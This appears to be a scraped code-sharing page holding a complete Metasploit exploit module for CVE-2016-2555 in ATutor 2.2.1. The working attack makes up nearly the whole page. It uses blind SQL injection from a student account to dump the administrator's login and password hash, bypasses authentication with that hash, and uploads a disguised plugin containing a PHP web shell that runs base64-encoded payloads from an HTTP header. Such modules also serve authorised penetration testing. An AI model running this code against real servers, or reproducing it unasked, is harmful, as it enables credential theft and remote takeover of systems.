扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution', 'Description'=> %q{ This module exploits a SQL Injection vulnerability and an authentication weakness vulnerability in ATutor. This essentially means an attacker can bypass authenication and reach the administrators interface where they can upload malcious code. You are required to login to the target to reach the SQL Injection, however this can be done as a student account and remote registration is enabled by default. }, 'License'=> MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code ], 'References' => [ [ 'CVE', '2016-2555'], [ 'URL', 'http://www.atutor.ca/' ] # Official Website ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # the only way to test if the target is vuln begin test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end if test_injection(test_cookie) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def create_zip_file zip_file= Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @plugin_name= Rex::Text.rand_text_alpha_lower(3) path = "#{@plugin_name}/#{@payload_name}.php" register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}") zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.pack end def exec_code send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end def upload_shell(cookie) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'agent' => 'Mozilla' }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection), 'cookie' => cookie, 'agent'=> 'Mozilla', }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"), 'cookie' => cookie, 'agent'=> 'Mozilla', }) return true end end # auth failed if we land here, bail fail_with(Failure::Unknown, "Unable to upload php code") return false end def get_hashed_password(token, password, bypass) if bypass return Rex::Text.sha1(password + token) else return Rex::Text.sha1(Rex::Text.sha1(password) + token) end end def login(username, password, bypass) res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, "login.php"), 'agent' => 'Mozilla', }) token = $1 if res.body =~ /\) \+ \"(.*)\"\);/ cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ if bypass password = get_hashed_password(token, password, true) else password = get_hashed_password(token, password, false) end res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, 'submit' => 'Login' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ # this is what happens when no state is maintained by the http client if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ return cookie end else res.redirection.to_s.include?('admin/index.php') # if we made it here, we are admin return cookie end end # auth failed if we land here, bail fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end def perform_request(sqli, cookie) # the search requires a minimum of 3 chars sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" rand_key = Rex::Text.rand_text_alpha(1) res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"), 'vars_post' => { "search_friends_#{rand_key}" => sqli, 'rand_key' => rand_key, 'search' => 'Search People' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) return res.body end def dump_the_hash(cookie) extracted_hash = "" sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i for i in 1..login_and_hash_length sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" asciival = generate_sql_and_test(false, false, sqli, cookie) if asciival >= 0 extracted_hash << asciival.chr end end return extracted_hash.split(":") end def get_ascii_value(sql, cookie) lower = 0 upper = 126 while lower < upper mid = (lower + upper) / 2 sqli = "#{sql}>#{mid}" result = perform_request(sqli, cookie) if result =~ /There are \d entries./ lower = mid + 1 else upper = mid end end if lower > 0 and lower < 126 value = lower else sqli = "#{sql}=#{lower}" result = perform_request(sqli, cookie) if result =~ /There are \d entries./ value = lower end end return value end def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie) if do_test if do_true result = perform_request("1=1", cookie) if result =~ /There are \d entries./ return true end else not do_true result = perform_request("1=2", cookie) if not result =~ /There are \d entries./ return true end end elsif not do_test and sql return get_ascii_value(sql, cookie) end end def test_injection(cookie) if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie) if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie) return true end end return false end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...") report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) print_status("Dumping username and password hash...") # we got admin hash now credz = dump_the_hash(student_cookie) print_good("Got the #{credz[0]} hash: #{credz[1]} !") if credz admin_cookie = login(credz[0], credz[1], true) print_status("Logged in as #{credz[0]}, uploading shell...") # install a plugin if upload_shell(admin_cookie) print_good("Shell upload successful!") # boom exec_code end end end end |
体验盒子
